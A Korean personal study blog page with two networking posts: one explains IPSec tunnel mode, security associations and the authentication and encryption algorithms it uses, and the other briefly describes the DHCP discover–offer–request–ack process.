IPSec의 터널 모드는 게이트웨이에 의해 사용되도록 개발된 것이다. 터널 모드에서 일상적인 IP 패킷은 IPSec 봉함내에 놓여지며 그 IPSec은 다시 또다른 IP 봉함으로 들어간다. 이 모드에서 사용자는 네트웍의 페러미터에서 IPSec 터널 장비를 신속하게 전개할 수 있다. 구성이 비슷한 네트웍간에 트래픽의 안전을 보장하는 것은 간단하며, 특수한 최종사용자 소프트웨어나 새 애플리케이션을 전개할 필요가 없다. 터널 모드를 지원하는 소프트웨어는 게이트웨이나 종단 시스템상에서 동작할 수 있다.


종단 시스템상에서 터널 소프트웨어가 가장 흔하게 사용될 때는 원격 및 이동 사용자를 지원할 때이다. 게이트웨이가 터널을 통해 대부분의 종단 사용자 데이터를 전송함에도 불구하고 동료 게이트웨이간의 통신을 안전하게 보호하려면 전송 모드를 사용할 수도 있다. 이러한 방식은 라우터, ATM 스위치, 방화벽 및 기타 핵심적인 하부구조 컴포넌트를 원격에서 안전하게 관리하는 훌륭한 방편이 될 수 있다.


IPSec 연결은 SA(Security Associa-tion)에 의해 규정된다. SA는 미리 방향이 지정된 것이 아니므로 연결시 2개의 SA가 필요하다. SA는 IPSec 연결의 다양한 패러미터를 정의하는데, 예를 들어 암호화와 인증 알고리즘과 같이 통신 시스템과 암호화용의 세션 키 및 스스로의 기능을 제어하는 다양한 패러미터간에 사용되는 것을 들 수 있다.


2. IPSec 알고리즘


앞서 언급했듯이 IPSec은 그 내부에서 인증 및 암호화 알고리즘을 사용하는 프로토콜로 구성된 것이다. 2개의 인증 및 7개의 알고리즘은 날짜를 규정하는데 사용되고 있다. AH와 ESP에 의해 사용되는 인증 알고리즘은 HMAC-MD5와 HMAC-SHA1이다. 이들은 세션 참여자가 한 개의 비밀 키(MD용은 128비트로 RFC 1321인 Message Digest 5 버전, SHA1용은 160비트로, FIPS 180-1인 Secure Hash Algo-rithm 1 버전)를 공유하는 키 기반의 인증 알고리즘이다. HMAC 절차는 RFC 204(메시지 인증 코드를 위한 키 해싱Keyed-Hashing)에 정의되어 있다.


HMAC는 비밀 키 인증 알고리즘이다. HMAC와 마찬가지로 비밀 키 분배의 영역에 따라 데이터 무결성과 데이터 기원 인증이 결정된다. 소스와 목적지만 HMAC 키만 알고 있다면 두 개의 패리티간에 전송된 패킷을 위해 데이터 기원 인증과 데이터 무결성을 제공한다. HMAC용의 키들은 ISAKMP /Oakley에 의해 생성된 키 재료keying material로부터 생성된다.


분명한 IV(initialization vector)가 수반된 DES(Data Encryption Standard)는 ESP에서 사용되는 기본적인 암호화 알고리즘이다. IPSec 호환을 위해 이 알고리즘을 구현해야 한다. 이외에도 Triple DES, CAST-128, RC5, IDEA, Blowfish 및 ARCFour(Bruce Scheier가 저술한 암호관련서적을 토대하여 RC4를 공개적으로 구현한 것) 등 DES의 대안으로 제시된 다양한 사양들이 있다.


CAST(RFC 2144)는 64비트 형식에서는 최소한 DES만큼, 128비트 형식에서는 Triple DES만큼 강력하다고 많은 사람들에 의해 주장되는 양식으로, DES보다 빠르다. RC5(RFC 2040)는 많은 사람들이 키 길이Ley length만큼 강격하다고 주장하는 키 길이가 가변적인 스트림으로서, 256비트까지 가능하다.


IDEA는 오리지널 PGP 프로그램에서 사용되는 것으로 그 속도가 빠른 것으로 알려져 있으며, Triple DES와 맞먹는 사이퍼cypher이다. 블로피시는 Scheier에 의해 개발된 가변적 길이의 사이퍼로서 공격자를 쉬지 못하게 만들기 위해 고안된 것이다.


DES 이외의 알고리즘을 선택하는 것이 구현자에 달렸다. 암호화 알고리즘을 선택하게 되면 여러 가지 이점이 있다. 잠재적인 공격자는 단순히 사이퍼를 공격하면 되는 것이 아니라 어떤 사이퍼를 깨뜨리고자 할 것인지도 결정해야 한다. 이는 사이퍼 키의 전환rotation로 함께 단순히 한물 간 데이터를 해독할 수 있다는 희망 이외에는 공격자들이 건질 것이 없게 만든다.

 

--

 

출처-출처불분명

'공부 > Network' 카테고리의 다른 글

MAC OUI Finder  (0) 2012.08.12
nc를 이용한 파일 전송  (0) 2012.07.21
DHCP  (1) 2012.07.19
DNS  (0) 2012.07.19
FTP 명령어 정리  (1) 2012.07.19
Posted by extr
:

DHCP

공부/Network 2012. 7. 19. 20:17 |

DHCP에 대한 간단정리

 

DNS랑 같이 짤막지식에 올리려했지만..짧지도않고..길지도않아서 ㅋㅋㅋ

 

DHCP란 Dynamic Host Configuration Protocol의 약자로 동적으로 IP를 관리 및 할당해주는 것을 의미한다

 

그리고 그 DHCP를 사용하는 서버를 DHCP 서버라고 한다.

 

아래는 DHCP의 프로세스를 간단히 그림으로 나타낸 것이다. 함부로 퍼가지 말자. 제발. 그림판으로 무려 15분동안 그린것이다.

얘기가 빗나감. 여튼 프로세스를 설명하자면 이러하다.








 

먼저 사용자가 네트워크에 브로드 캐스트로 DHCP discover 패킷을 보낸다. 이는 자신이 아이피 할당이 필요하다는 것을 알리는 패킷이다.

 

dhcp 서버가 패킷을 받으면 여유로운 ip중 하나를 DHCP offer 패킷을 통해 (unicast)사용자에게 보낸다


 

 

 

 


그럼 사용자는 ip에 대한 사용을 요청하는 DHCP Requst 패킷을 네트워크에게 보낸다.

 

서버가 패킷을 받으면 DHCP ACK. 패킷을 보낸다. 이 패킷을 보냄으로써 IP를 사용해도 된다고 승인이 되는것이다.

 

이 과정 이후로는 사용자가 뭔 짓을 하든 여튼 해당 IP를 사용해서 통신이 가능해진다.

'공부 > Network' 카테고리의 다른 글

nc를 이용한 파일 전송  (0) 2012.07.21
IPSec  (0) 2012.07.19
DNS  (0) 2012.07.19
FTP 명령어 정리  (1) 2012.07.19
ICMP 코드 및 타입  (0) 2012.07.19
Posted by extr
: